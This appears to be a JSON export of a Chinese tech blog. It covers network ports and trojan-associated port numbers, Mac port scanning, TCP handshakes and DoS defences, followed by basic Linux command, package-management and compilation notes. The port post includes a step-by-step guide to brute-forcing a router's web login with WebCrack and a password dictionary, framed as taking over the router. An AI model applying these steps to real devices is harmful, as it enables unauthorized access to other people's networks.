49151,分配给用户进程或应用程序。这些进程主要是用户选择安装的一些应用程序,而不是已经分配好了公认端口的常用程序。这些端口在没有被服务器资源占用的时候,可以用用户端动态选用为源端口。#### **动态端口(Dynamic Ports)范围: 49152 - 65535。之所以称为动态端口,是因为它 一般不固定分配某种服务,而是动态分配。### 端口分类: TCP / UDP计算机之间相互通信的时候,分为两种方式:- TCP: 发送信息后,可以确认信息是否到达,也就是有应答的方式.- UDP: 发送信息以后就不管了,不去确认信息是否到达.用软件扫描目标计算机  得到目标计算机打开的端口 也就知道提供了哪些服务。服务软件一定有漏洞,根据这些攻击者可以达到对目标计算机的初步了解。如果计算机的端口打开太多,而管理者不知道,那么,有两种情况:一种是管理者没有注意,比如安装IIS的时候,软件就会自动增加很多服务.一种是服务器被攻击者安装木马,通过特殊的端口进行通信。### 端口列表	21 - - - FTP  文件传输 //木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner	22 - - - SSH - - - Secure Shell - - - - - - - 远程安全登录 / 文件传输.	23 - - - Telnet - -Telnet(远程登录)/ 未加密的文本通信,不太安全.//木马Tiny Telnet Server	25 - - - SMTP - - -简单邮件传输协议 - - - - - - -邮件服务器间的邮件传递//木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口	42 - - - WINS - - -WINS主机名服务	53 - - - DNS - - - 域名服务系统	80 - - - HTTP - - -超文本传输协议 - - - - - - - - 传输网页	110- - - POP3 - - -邮局协议-第3 - - - - - - - - 接收电子邮件	123- - - NTP - - - Network Time Protocol - - -  用于时间同步	161- - - SNMP - - -Simple Network Management Protocol	220- - - IMAP - - -交互邮件访问协议第3	443- - - HTTPS - - HTTP securely transferring web pages(加密传输)	465- - - - - - - - SMTP over SSL	1080- - -SOCKS - - QQ,默认的端口	1433- - -MS SQL*SERVER数据库server	1434- - -MS SQL*SERVER数据库monitor	1521- - - Oracle 数据库	3306 - - - - - - - MySQL Database system 	3389 - - RDP - - - 远程桌面协议 WIN远程登陆	4899 - - Radmin - -远程控制工具	5500 - - VNC - - - remote desktop protocol 	8080 - - - - - - - Apache Tomcat 	9800 - - - - - - - WebDAV Source Port	10050- - - - - - - Zabbix-Agent	10051- - - - - - - Zabbix-Server		HTTP协议代理服务器常用端口号:80/8080/3128/8081/9080 	HTTP服务器,默认的端口号为80/tcp(木马Executor开放此端口);##### 20 21 端口区别一个是控制端口,控制端口一般为21,一个是数据端口,而数据端口不一定是20,这和FTP的应用模式有关,- 如果是主动模式,应该为20	- 如果为被动模式,由服务器端和客户端协商而定FTP Port模式和FTP Passive模式  当你对一个FTP问题进行排错时候,你首先要问的一个问题是使用的是port模式的还是passive 模式。因为这两种行为迥异,所以这两种模式引起的问题也不同;在过去,客户端缺省为active(port)模式;近来,由于Port模式的安全问题,许多客户端的FTP应用缺省为Passive模式。  ## 端口命令介绍: ( Mac OS )保护端口:1) 查看:经常用命令或软件查看本地所开放的端口,看是否有可疑端口;2) 判断:如果开放端口中有你不熟悉的,应该马上查找端口大全或木马常见端口等资料(网上多的很),看看里面对你那个可疑端口的作用描述,或者通过软件查看开启此端口的进程来进行判断;3) 关闭:如果真是木马端口或者资料中没有这个端口的描述,那么应该关闭此端口,你可以用防火墙来屏蔽此端口,也可以用本地连接-TCP/IP-高级-选项-TCP/IP筛选,启用筛选机制来筛选端口;注意:判断时候要慎重,因为一些动态分配的端口也容易引起你多余的怀疑,这类端口一般比较低,且连续。还有,一些狡猾的后门软件,他们会借用80等一些常见端口来进行通信(穿透了防火墙),令人防不胜防,因此不轻易运行陌生程序才是关键。#### 查看端口:- 系统内置的命令 - Mac 内置Network Utility - 第三方端口扫描软件。- Nmap / Zenmap (GUI 客户端 ,包含在 nmap 包里面 自己选装就好.)##### 内置命令:netstat ##### Network Utility (实用工具)Port Scan  输入 IP. 查看本机端口输入: 127.0.0.1> 端口扫描需要很长时间.因为端口有很多个啊,让它默默运行吧!!! 实例一: Mac 本地扫描.	Port Scan has started…	Port Scanning host: 127.0.0.1	     Open TCP Port:     22          ssh	     Open TCP Port:     80          http	     Open TCP Port:     88          kerberos	     Open TCP Port:     445         microsoft-ds	     Open TCP Port:     548         afpovertcp	     Open TCP Port:     1080        socks	     Open TCP Port:     3306        mysql	     Open TCP Port:     4490	     Open TCP Port:     4491	     Open TCP Port:     5900        rfb	     Open TCP Port:     6258	     Open TCP Port:     6263	     Open TCP Port:     8090	     Open TCP Port:     10050       zabbix-agent实例二: 扫描 Router 本地路由器网关 可以得到路由器 Web管理地址.	Port Scan has started…	Port Scanning host: 192.168.11.1		     Open TCP Port:     23          telnet	     Open TCP Port:     53          domain	     Open TCP Port:     80          http	// 说明 路由器的 设置页面端口 80  有些人会改这个端口 使得路由器更安全. ## Port 端口# 比喻: IP 是一间房子  端口就是门.  一个 ip  2^16=65536 个门电脑通过 TCP/IP 协议 发送和接收数据包. 数据包根据 目标/对方 IP 来传送到目标电脑.端口并不是一一对应的!!! 比如你的电脑作为客户机访 问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3457”这样的端口。端口作用:主机根据接收到的数据包里的端口号信息,决定这个数据包送给这么多同时运行的哪个进程(程序). 一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等.这些服务完全看似通过1个IP地址来实现。实际上是通过“IP地址+默认端口号”来区分不同的服务的。电脑系统: 给有需求的进程(程序)  分配协议端口(protocol port,也就是常说的端口)发送数据包的进程要开启端口  数据包标识有源端口  接受方才能传回数据包到发送数据的端口。目的主机接收到数据包  根据报文首部的目的端口号  把数据发送到打开相应端口的进程.0-1023一般被用作知名服务器的端口,被预定,如FTP、HTTP、SMTP等80: www 服务  IE输入网址不必指定端口号,因为在默认情况下WWW服务的端口是“80”。www 使用其他端口号:在地址后面加上冒号“:”(半角),再加上端口 号。比如使用“8080”作为WWW服务的端口,则需要在地址栏里输入“网址:8080”。21: FTP 服务  每个 TCP 连接都必须由一端(通常为 client )发起请求,这个 port 通常是随机选择大于 1024的端口号由于TCP和UDP 两个协议是独立的,因此各自的端口号也相互独立,比如TCP有235端口,UDP也 可以有235端口,两者并不冲突。如果攻击者使用软件扫描目标计算机,得到目标计算机打开的端口,也就了解了目标计算机提供了哪些服务。我们都知道,提供服务就一定有服务软件的漏洞,根据这些,攻击者可以达到对目标计算机的初步了解。如果计算机的端口打开太多,而管理者不知道,那么,有两种情况:一种是提供了服务而管理者没有注意,比如安装IIS的时候,软件就会自动增加很多服务,而管理员可能没有注意到;一种是服务器被攻击者安装木马,通过特殊的端口进行通信。这两种情况都是很危险的,说到底,就是管理员不了解服务器提供的服务,减小了系统安全系数。入侵者通常会用扫描器对目标主机的端口进行扫描,以确定哪些端口是开放的,从开放的端口,入侵者可以知道目标主机大致提供了哪些服务,进而猜测可能存在的漏洞,因此对端口的扫描可以帮助我们更好的了解目标主机,而对于管理员,扫描本机的开放端口也是做好安全防范的第一步。三次握手(交换/传达信息): 比喻:      为什么我要两次回应. 第一次握手    我说: 我想打你第二次握手    你回: 好的 并做好准备挨打的准备.第三次握手    我说:  我要开始打了三次握手之后才能建立连接.  如果第三次TCP封包会将(且只将) SYN旗标设定起来!表示这是整个联机的第一个封包;如果另一端(通常为 Server ) 接受这个请求的话,则会向请求端送回整个联机的第二个封包!其上除了 SYN旗标之外同时还将 ACK 旗标也设定起来,并同时在本机端建立资源以待联机之需;然后,请求端获得服务端第一个响应封包之后,必须再响应对方一个确认封包,此时封包只带 ACK旗标(事实上,后继联机中的所有封包都必须带有 ACK 旗标);· 只有当服务端收到请求端的确认( ACK )封包(也就是整个联机的第三个封包)之后,两端的联机才能正式建立。这就是所谓的 TCP 联机的'三次握手( Three-Way Handshake )'的原理。经过三向交握之后, client 端的 port 通常是高于 1024 的随机取得的 port,主机端 根据当时的服务是开启哪一个 port 而定,例如 WWW 选择 80  FTP 则以 21 为正常的联机信道!## Port默认端口:mysql 端口  3306*查看端口netstat -an | grep 3306查看端口被哪个进程 占用sudo lsof -n -P| grep :8087lsof命令通过list open file命令可以查看到当前打开文件,在linux中所有事物都是以文件形式存在,包括网络连接及硬件设备。lsof -i:80-i参数表示网络链接,:80指明端口号,该命令会同时列出PID,方便kill# 路由攻防#### 扫描路由端口拒绝服务( DoS ) 攻击主要有:ICMP Flood、一秒内 某ip 收到 规定数量的 ICMP 请求包UDP Flood、一秒内 某ip 的某个端口 收到超过规定数量的 UDP 包SYN Flood、某 ip 的某端口 收到超量的 TCP SYN 包.WinNuke。针对 Windows.  拒绝服务 ( Dos—Denial of Service )目的  极其大量的虚拟信息流 耗尽目标主机的资源.目标主机被迫全力处理虚假信息流 从而影响正常信息流.如果 攻击来自多个源地址 就称为  分布式拒绝服务 DDoS.防护:设置一个阈值. 一秒内  ip 的某种数据包 超过了一定数量 就认定发生了一次 洪泛工具那么 接下来 2秒内的 忽略该ip 的这一类型的数据包.比如  路由器 没有开启Dos 类攻击防护:那么 ping  ip 结果是连续正常的.如果 路由器开启了 ICMP Flood 防护 阈值设成 100PPS单位为每秒数据包个数PPS=Packet Per Second那么  ping 路由器   就会不正常了. 路由器 日志服务器 也能看到相应的攻击信息.扫描类的攻击防护主要有二类:- IP扫描,一段时间内 一个源IP 发送ICMP 请求包到 10+ 以上的 ip.- 端口扫描,一段时间内一个源IP 发送 TCP SYN包到同一目的地的10+的不同的端口. 网管通常都会将路由器的默认端口(80)给更改掉.路由器 Web 登录界面  破解.借助“网页密码破解工具”“WebCrack”来帮忙。简单点说,像这类网页密码破解就是应用穷举法,从配套的字典文件读取预设好的密码一个个去试,这个靠的就是电脑的速度和耐性。密码短简单的也许只要几分钟,密码要是太长太复杂也许就是几天几年...  下载WebCrack并安装。运行后首先点击“用户名文件”处的浏览按钮,创建文件。然后我们再去找些配套的字典文件,字典里是用转用软件生的各种不同的用户名和密码供软件一对对去匹配,例如admin、123456等常见的用户名,当然字典里面的数据越多,破解的概率就越大,密码输入格式为一行一个。回到WebCrack界面中,勾寻使用用户名字典”选项,并浏览选中刚才创建的文本文档。接着在“URL”中填入路由器的登录地址,设置完毕后,我们点击“开始”按钮进行探测。  探测结束后,我们可以点击“结果”按钮,然后切换到“发现密码”标签处查看检测结果。这个时候路由器就被我们接管,接下来你就可以为所欲为啦,但也不要太过份,小心别人拨网线哟!! 很明显,由于每台计算机运行的服务不同,你看到的扫描结果也大相径庭。 但是如果你扫描Mac  PC 的话,通常你将会看到 Web servers, SMB  Windows 共享端口 445, AFP 苹果文件共享协议 548. 也许会有 SSH server  22 端口。 UDP servers. 和其他潜在的可能开放的端口。   如果没有发现任何东西并且可以确定该目标上有服务正在运行。- 要么是这台主机禁用了广播,目标主机拒绝了所有的请求,- 要么就是前端配置了一个强壮的防火墙。 \-   目标可以定在网络中的 Mac , Windows , IOS 设备  , Linux , 或者其他的网络设备上。   很明显 Network Utility 只限于Mac 使用,如果想使用 IOS 设备进行端口扫描  那将是另外一篇文章啦.[https://support.apple.com/zh-cn/HT202944][1][]()8800 sunwebadmin  7TCP/UDPecho792echo-20TCP文件传输协议 (FTP)959ftp-data-21TCPFTP 控制959ftp-22TCPSecure Shell (SSH)4253sshXcode Server(托管和远程 Git+SSH;远程 SVN+SSH)23TCPTelnet854telnet-25TCP简单邮件传输协议 (SMTP)5321smtp邮件(用于发送电子邮件);iCloud 邮件(正在发送)53TCP/UDP域名系统 (DNS)1034domainMacDNS、FaceTime67UDPBootstrap 协议服务器(BootP、bootps)951bootpsNetBoot via DHCP68UDPBootstrap 协议客户端 (bootpc)951bootpcNetBoot via DHCP69UDP普通文件传输协议 (TFTP)1350tftp-79TCPFinger1288finger-80TCP超文本传输协议 (HTTP)2616http万维网、iCloud、QuickTime 安装程序、地图、iTunes U、Apple Music、iTunes Store、播客、互联网广播、OS X 软件更新(OS X Lion 及更低版本)、Mac App Store、RAID Admin、备份、日历、WebDAV、Final Cut Server、AirPlay、OS X 互联网恢复、描述文件管理器、Xcode Server(Xcode 应用、托管和远程 Git HTTP、远程 SVN HTTP)。88TCPKerberos4120KerberosKerberos(包括屏幕共享鉴定)106TCP密码服务器(未注册使用)-3com-tsmuxMac OS X Server 密码服务器110TCP邮局协议 (POP3)经身份验证的邮局协议 (APOP)1939pop3邮件(用于接收电子邮件)111TCP/UDP远程过程调用 (RPC)10571831sunrpc端口映射器 (sunrpc)113TCP标识协议1413ident-115TCP简单文件传输协议 (SFTP)913sftp-119TCP网络新闻传输协议 (NNTP)3977nntp由读取新闻组的应用程序使用。123UDP网络时间协议 (NTP)1305ntp“日期与时间”偏好设置。用于网络时间服务器同步、AppleTV 网络时间服务器同步137UDPWindows 互联网名称服务 (WINS)-netbios-ns-138UDPNETBIOS 数据报服务-netbios-dgmWindows 数据报服务、Windows 网上邻居139TCP服务器信息块 (SMB)-netbios-ssn由 Microsoft Windows 文件和打印服务(如 Mac OS X 中的 Windows 共享)使用。143TCP互联网消息访问协议 (IMAP)3501imap邮件(用于接收电子邮件)161UDP简单网络管理协议 (SNMP)1157snmp-192UDPOSU 网络监控系统-osu-nmsAirPort 基站 PPP 状态或发现(特定配置)、AirPort 管理实用工具、AirPort Express 助理311TCP服务器安全管理-asip-webadminServer 应用、Server Admin、Workgroup Manager、Server Monitor、Xsan Admin。312TCPXsan 管理-vslmpXsan 管理(OS X Mountain Lion v10.8 及更高版本)389TCP轻量级目录访问协议 (LDAP)4511ldap由查找地址的应用程序(如“邮件”和“地址簿”)使用。427TCP/UDP服务定位协议 (SLP)2608svrloc网络浏览器443TCP安全套接字层(SSL 或“HTTPS”)2818httpsTLS 网站、iTunes Store、OS X 软件更新(Mountain Lion 及更高版本)、Spotlight 建议、Mac App Store、地图、FaceTime、Game Center、iCloud 鉴定和 DAV 服务(通讯录、日历和书签)、iCloud 备份和应用程序(日历、通讯录、查找我的 iPhone/查找我的朋友、邮件、文稿和照片流)、iCloud 键值存储 (KVS)、iPhoto 日志、AirPlay、OS X 互联网恢复、描述文件管理器、回到我的 Mac、听写、Siri (iOS)、Xcode Server(托管和远程 Git HTTPS、远程 SVN HTTPS、Apple Developer 注册)。445TCPMicrosoft SMB 域服务器-microsoft-ds-464TCP/UDPkpasswd3244kpasswd-465TCP用于“邮件”的信息提交(经身份验证的 SMTP) smtp(旧版)邮件(用于发送邮件)500UDPISAKMP/IKE2408isakmpOS X Server VPN 服务、回到我的 Mac500UDPWi-Fi 通话5996IKEv2Wi-Fi 通话514TCPshell-shell-514UDPSyslog-syslog-515TCP行式打印机 (LPR)、行式打印机监控程序 (LPD)-printer用于通过网络打印机打印、Mac OS X 中的打印机共享532TCPnetnews-netnews-548TCP通过 TCP  Apple 档案分享协议 (AFP)-afpovertcpAppleShare、个人文件共享、Apple 文件服务554TCP/UDP实时流协议 (RTSP)2326rtspQuickTime 流服务器 (QTSS)、流媒体播放器、AirPlay587TCP用于“邮件”的信息提交(经身份验证的 SMTP)4409submission“邮件”(用于发送邮件)、iCloud 邮件(SMTP 身份验证)600-1023TCP/UDP基于 Mac OS X RPC 的服务-ipcserver例如,由 NetInfo 使用623UDPLights-Out-Monitoring-asf-rmcp由 Intel Xserves  Lights-Out-Monitoring (LOM) 功能使用;由 Server Monitor 使用625TCPOpen Directory Proxy (ODProxy)(未注册使用)-dec_dlmOpen Directory、Server 应用、Workgroup Manager;OS X Lion 及更低版本中的 DirectoryServices。注:此端口已注册给 DEC DLM。626TCPAppleShare Imap Admin (ASIA)-asiaIMAP 管理(Mac OS X Server v10.2.8 或更低版本)626UDPserialnumberd(未注册使用)-asiaServer 序列号注册(Xsan、Mac OS X Server v10.3 - v10.6631TCP互联网打印协议 (IPP)2910ippMac OS X 打印机共享,通过多台普通打印机打印636TCP安全 LDAP-ldaps-660TCP服务器管理-mac-srvr-adminMac OS X Server v10.4 及更低版本的服务器管理工具,包括 AppleShare IP。687TCP服务器管理-asipregistryMac OS X Server v10.6 及更低版本的服务器管理工具,包括 AppleShare IP。749TCP/UDPKerberos 5 admin/changepw-kerberos-adm-985TCPNetInfo 静态端口---993TCP邮件 IMAP SSL-imapsiCloud 邮件 (SSL IMAP)995TCP/UDP邮件 POP SSL-pop3s-1085TCP/UDPWebObjects-webobjects-1099  8043TCP对 JBOSS 的远程 RMI  IIOP 访问-rmiregistry-1220TCPQT Server Admin-qt-serveradmin用于管理 QuickTime 流服务器。1640TCP证书注册服务器-cert-responder描述文件管理器、SCEP1649TCPIP 故障转移-kermit-1701UDPL2TP-l2fMac OS X Server VPN 服务1723TCPPPTP-pptpMac OS X Server VPN 服务1900UDPSSDP-ssdpBonjour、回到我的 Mac2049TCP/UDP网络文件系统 (NFS)(第 3 版和第 4 版)3530nfsd-2195TCPApple 推送通知服务 (APNS)--推送通知2196TCPApple 推送通知服务 (APNS)--反馈服务2336TCP移动帐户同步-appleugcontrol个人目录同步3004TCPiSync-csoftragent-3031TCP/UDP远程 AppleEvent-eppc程序链接、远程 Apple 事件3283TCP/UDP网络助理-net-assistantApple Remote Desktop 2.0 或更高版本(报告功能)3306TCPMySQL-mysql-3478-3497UDP--nat-stun-port - ipether232portFaceTime、Game Center3632TCP分布式编译器-distcc-3659TCP/UDP简单身份验证和安全层 (SASL)-apple-saslMac OS X Server 密码服务器3689TCP数字音频访问协议 (DAAP)-daapiTunes 音乐共享、AirPlay3690TCP/UDPSubversion-svnXcode Server(匿名远程 SVN)4111TCPXGrid-xgrid-4398UDP---Game Center4488TCPApple 广域连接服务 awacs-ice回到我的 Mac4500UDPIPsec NAT Traversal4306ipsec-msftOS X Server VPN 服务、回到我的 Mac。注:若在 NAT 模式下配置 AirPort 基站或 Time Capsule 上的“回到我的 Mac”,会妨碍与 NAT 模式下的 OS X Server VPN 服务的连接。4500UDPWi-Fi 通话5996IKEv2Wi-Fi 通话5003TCPFileMaker - 名称绑定和传输-fmpro-internal-5009TCP(未注册使用)-winfsAirPort 实用工具、AirPort Express 助理5060UDP会话启动协议 (SIP)3261sipiChat5100TCP--socaliaMac OS X 摄像头和扫描仪共享5190TCP/UDPAmerica Online (AOL)-aoliChat  AOL Instant Messenger、文件传输5222TCPXMPP (Jabber)3920jabber-clientiChat  Jabber 信息5223TCPApple 推送通知服务--iCloud DAV 服务(通讯录、日历和书签)、APNS、FaceTime、Game Center、照片流、回到我的 Mac5269TCPXMPP 服务器到服务器的通信3920jabber-serveriChat 服务器5297TCP---iChat(本地通信)5298TCP/UDP---iChat(本地通信)5350UDPNAT 端口映射协议通知--Bonjour、回到我的 Mac5351UDPNAT 端口映射协议-nat-pmpBonjour、回到我的 Mac5353UDP多址广播 DNS (MDNS)3927mdnsBonjour、AirPlay、家庭共享、打印机查找、回到我的 Mac5432TCPPostgreSQL-postgresql可以在 Lion Server 上手动启动。之前已默认为 ARD 2.0 数据库启用。5678UDPSNATMAP 服务器-rrac端口 5678 上的 SNATMAP 服务用于确定主机的外部互联网地址,以便 iChat 用户之间的连接可在网络地址转换 (NAT) 下正常使用。SNATMAP 服务仅将已连接到它的互联网地址告知客户端。此服务在 Apple 服务器上运行,但不会将个人信息发送给 Apple。在使用了特定 iChat AV 功能的情况下,将与此服务建立联系。阻止此服务可能会导致与使用 NAT 的网络上的主机之间的 iChat AV 连接出现问题。5897-5898UDP(未注册使用)--xrdiags5900TCP虚拟网络计算 (VNC)(未注册使用)-vnc-serverApple Remote Desktop 2.0 或更高版本(监视/控制功能)屏幕共享(Mac OS X 10.5 或更高版本)5988TCPWBEM HTTP-wbem-httpApple Remote Desktop 2.x(请参阅http://dmtf.org/standards/wbem)6970-9999UDP---QuickTime 流服务器7070TCPRTSP(未注册使用)自动路由器配置协议(ARCP - 已注册使用)-arcpQuickTime 流服务器 (RTSP)7070UDPRTSP 备用-arcpQuickTime 流服务器7777TCPiChat 服务器文件传输代理(未注册使用)-cbt-8000-8999TCP--irdmiWeb 服务、iTunes Radio 8005TCPTomcat 远程关闭---8008TCPiCal 服务-http-altMac OS X Server v10.5 及更高版本8080TCPApache Web 服务的备用端口-http-alt还包括 Mac OS X Server 10.4 及更低版本中的 JBOSS HTTP8085-8087TCPWiki 服务--Mac OS X Server v10.5 及更高版本8088TCP“软件更新”服务-radan-httpMac OS X Server v10.4 及更高版本8089TCPWeb 电子邮件规则--Mac OS X Server v10.6 及更高版本8096TCPWeb 密码重设--Mac OS X Server v10.6.3 及更高版本8170TCPHTTPS(Web 服务/网站)--Podcast Capture/Podcast CLI8171TCPHTTP(Web 服务/网站)--Podcast Capture/Podcast CLI8175TCPPcast 隧道--pcastagentd(用于控制操作、摄像头等)8443TCPiCal 服务 (SSL)-pcsync-httpsMac OS X Server v10.5 及更高版本。曾为 Mac OS X Server 10.4 及更低版本中的 JBOSS HTTPS。8800TCP地址簿服务-sunwebadminMac OS X Server v10.6 及更高版本8843TCP地址簿服务 (SSL)--Mac OS X Server v10.6 及更高版本88218826TCP已存储--Final Cut Server8891TCPldsd--Final Cut Server(数据传输)9006TCP独立的 Tomcat--Mac OS X Server v10.6 及更低版本9100TCP打印--用于通过特定网络打印机打印9418TCP/UDPgit 包传输-gitXcode Server(远程 git)10548TCPApple 文稿共享服务-serverdocsOS X Server iOS 文件共享11211-memcached(未注册)--日历服务器16080TCP---具有高性能缓存的 Web 服务16384-16403UDP实时传输协议 (RTP)、实时控制协议 (RTCP)-connected、-iChat AV(音频 RTP、RTCP;视频 RTP、RTCP)16384-16387UDP实时传输协议 (RTP)、实时控制协议 (RTCP)-connected、-FaceTime、Game Center16393-16402UDP实时传输协议 (RTP)、实时控制协议 (RTCP)--FaceTime、Game Center16403-16472UDP实时传输协议 (RTP)、实时控制协议 (RTCP)--Game Center24000-24999TCP--med-ltp具有高性能缓存的 Web 服务42000-42999TCP---iTunes Radio 49152-65535TCPXsan--Xsan 文件系统存取49152-65535UDP---回到我的 Mac50003-FileMaker 服务器服务---50006-FileMaker 帮助程序服务---[1]:	https://support.apple.com/zh-cn/HT202944"
} ,
  
{
  "title"    : "目录操作",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E7%9B%AE%E5%BD%95%E6%93%8D%E4%BD%9C.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## 目录操作相对路径: 平常使用绝对路径: 写脚本什么的 用绝对路径!!`cd`   变换目录           change directory `pwd`  显示当前所在的目录   print working directory `mkdir` 新建目录`mkdir -m` 设定文件的权限   mkdir -m 777 txt5`mkdir -p` 建立多层文件夹   mkdir -p txt/txt1/txt2`rmdir`    删除目录   只能删除空文件夹  `rmdir -p` 删除多个文件夹`cd ..`   上级目录`cd -`    回到之前的目录 相当于后退ls -ld /users文件管理 属性 拷贝 删除 移动 ls 文件 检视 默认 显示 非隐藏的  文科ls -l  文件的详细信息ls -al 包括隐藏文件的 详细详细cp 复制 copy复制文件 建立快捷方式 不同身份 执行这个会有不同结果.-d 原文件是链接的话 复制链接 而不是复制文件本身-r  可以复制目录  默认cp是不能复制目录的注意: 源文件 是不是目录  源文件 是不是特殊档案源文件 是不是 快捷方式是否需要保存完整的档案信息rm 删除 remove -f   force 强制删除 不显示警告   回收站都找不回来的啊啊  !-i  互动模式 删除前询问-r 目录删除 非常危险.*通配符  代表0-无穷多的任意字符. 很好用mv 移动文档-f 已存在文件 会直接覆盖 不会询问-i 询问是否覆盖-u 文件夹 改名  mv 33 44   33 改成44  这么简单.cat   concatenate (连续的意思 )   显示文件内容 cat -b  列出行号 空白行 不标行号cat -n  列出行号 空白号 也标行号more less  一页一页看空格 下一页enter 下一行/关键字     向下搜寻 字符串:f 显示文件名字 和目前的行数目q 离开 moreb 往回翻页 more 一页一页 往前看 不能后退看less pagedown pageup 来上下翻   less 更好用head 取出文件前面几行tail取出文件后面几行head filename   默认显示文件的前10 算预览么??head -n 20 filename   显示前面20行head -n -100 filename 显示文件的 去除最后100行之后的 内容tail 取出文件后面几行-f 持续侦测文件的 最后几行 直到ctrl c 结束侦测档案时间主要有三个modification time     time内容变更 时间status time  ctime状态时间 权限/属性等变更access time atime 内容被读取时间touch 修改档案时间 建立空档案bios 设定错误  或者时区原因 导致系统问题.umask 默认权限目前用户 建立文件时的默认权限0022 如果 建立文件 默认是不执行的 最高分666 默认建立文件夹 由于需要进入文件夹 需要x权限 777umask 指的是 被拿掉的权限  第一位不管它022 指的是 user 全部权限 group others 被拿掉写的权力修改 umask  默认权限  后面加000 就是完全不限制.隐藏属性  对系统安全很有用chattr +a  只能增加数据 不能删除 修改数据+i 文件 不能删除 不能改名 不能被链接 lsattr 显示隐藏属性find 命令 直接找硬盘 时间慢!  虽然很强大whereis  linux将所有文件都记录在一个数据库里面.这里查找更快速.由于这个是每天更新一次数据库 所以不一定找得到locate 也是查询数据库的"
} ,
  
{
  "title"    : "用户密码",
  "category" : "",
  "tags"     : "密码设置",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "passwd -d xujian                删除 xujian 用户的密码 为root用户设置密码打开终端输入:sudo passwdPassword: \<--- 输入你当前用户的密码Enter new UNIX password: \<--- 新的Root用户密码Retype new UNIX password: \<--- 重复新的Root用户密码passwd:已成功更新密码"
} ,
  
{
  "title"    : "环境变量",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "ls的完整命令路径是 /bin/ls    其实 你只需要输入 ls 就能执行 /bin/ls 这个命令.环境变量 相当于快捷键   echo $PATH   查看变量 echo 列出 显示的意思PATH前面加$ 表示 后面的是变量.*不同用户的 PATH 是不一样的 **path 是可以修改 的*"
} ,
  
{
  "title"    : "源代码编译",
  "category" : "",
  "tags"     : "软件管理系统",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E6%BA%90%E4%BB%A3%E7%A0%81%E7%BC%96%E8%AF%91.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## 软件包管理器 - 软件安装# Debian:默认自带 apt-get   sudo 运行  |命令|作用||:---:|:---:||安装软件|apt-get install softname ||卸载软件|apt-get remove softname ||重装软件|apt-get —reinstall install | |搜索软件|apt-cache search ||更新已装软件|apt-get update ||修复安装软件|apt-get -f install softname | |删无用软件|apt-get clean | |了解使用依赖|apt-cache depends | |下载软件源代码|apt-get source ||列出软件包的内容|apt-file list packagename | |完整卸载|apt-get --purge remove 删除配置文件. ||彻底卸载|apt-get autoremove --purge 删除依赖软件包+配置文件. ||||||apt-get check # |检查是否有损坏的依赖 |  |dpkg -S filename |查找filename属于哪个软件包 |  |apt-file search filename |查找filename属于哪个软件包 |  |apt-file update |更新apt-file的数据库 |软件安装方法:用软件包管理器: 直接安装.huo'z## 软件管理器免去手动编译安装  Mac: brew   centos: yum   ubuntu: apt-get brew1:  使用方法   (以wget为例)   查找软件包              列出已安装的软件包         安装软件包                   删除软件包brew search wget         brew list          brew install wget      brew remove wget查看软件包信息           列出软件包的依赖关系brew info wget            brew deps wget 更新brew       列出过时的软件包                更新过时的软件包(全部或指定)brew update      brew outdated           brew upgrade    brew upgrade wget## 软件管理系统 源代码编译.   亊实上鸟哥讣为 distributions 主要分为两大系统,一种是使用 RPM 斱式安装软件 癿系统,包括 Red Hat, Fedora, SuSE 等都是这类; 一种则是使用 Debian  dpkg 斱式安装软件癿系统,包括 Debian, Ubuntu, B2D 等等。  kernel  核心web 服务器 ,WWW, Mail Server, File Server 等等 源码的安装一般由3个步骤组成:配置(configure)、编译(make)、安装(make install)。Configure是一个可执行脚本,它有很多选项,在待安装的源码路径下使用命令./configure –help输出详细的选项列表。其中--prefix选项是配置安装的路径,如果不配置该选项,安装后可执行文件默认放在/usr /local/bin,库文件默认放在/usr/local/lib,配置文件默认放在/usr/local/etc,其它的资源文件放在/usr /local/share,比较凌乱。如果配置--prefix,如:1.  ./configure --prefix=/usr/local/test可以把所有资源文件放在/usr/local/test的路径中,不会杂乱。用了—prefix选项的另一个好处是卸载软件或移植软件。当某个安装的软件不再需要时,只须简单的删除该安装目录,就可以把软件卸载得干干净净;移植软件只需拷贝整个目录到另外一个机器即可(相同的操作系统)。当然要卸载程序,也可以在原来的make目录下用一次make uninstall,但前提是make文件指定过uninstall。程序里有好多文件(一个个去编译 太麻烦 所以就有可 make 这个工具. ). 这些. 这个关系 是由 makefile 来维持的. makefile: 定义:源代码包解压出来一堆文件的相互依赖关系 . 用来指导 make 命令该怎么工作 . makefile 是自动生成的.  自动生成 makefile 需要两个文件.  分别是 configure  makefile.in   configure 文件是由 autoconf 命令 生成的. makefile.in 是由 automake 命令 生成的.  软件包为什么要带 configure 文件呢  直接给 makefile 不就成了么. 因为 configure  根据你系统平台 来生成 makefile 文件. # 编译分三步: ./configure make  make install  这一步本质上就是把上一步编译出来的结果复制到我们指定的目录而已。比如下面这个解压出来的 文件夹. CONTRIBUTING  INSTALL.rst  Makefile    acinclude.m4  config.guess*  configure.ac  install-sh*  man/      raddb/    share/COPYRIGHT     LICENSE      README.rst  aclocal.m4    config.sub\*    debian/       m4/          mibs/     redhat/   src/CREDITS       Make.inc.in  VERSION     autogen.sh*   configure*     doc/          main.mk      missing\*  scripts/  suse/ gcc:    GNU CC  也就是C编译器,g++:    才是cpp编译器在电脑中自动安装、配制、卸载和升级软件包的工具组合.在Linux发行版中,几乎每一个发行版都有自己的软件包管理系统。  常见有:  管理deb软件包的dpkg以及它的前端apt(使用于Debian、Ubuntu)。  rpm以及它的前端yum(使用于Fedora)、前端ZYpp(使用于openSUSE)、 前端urpmi(使用于Mandriva Linux、Mageia)等。  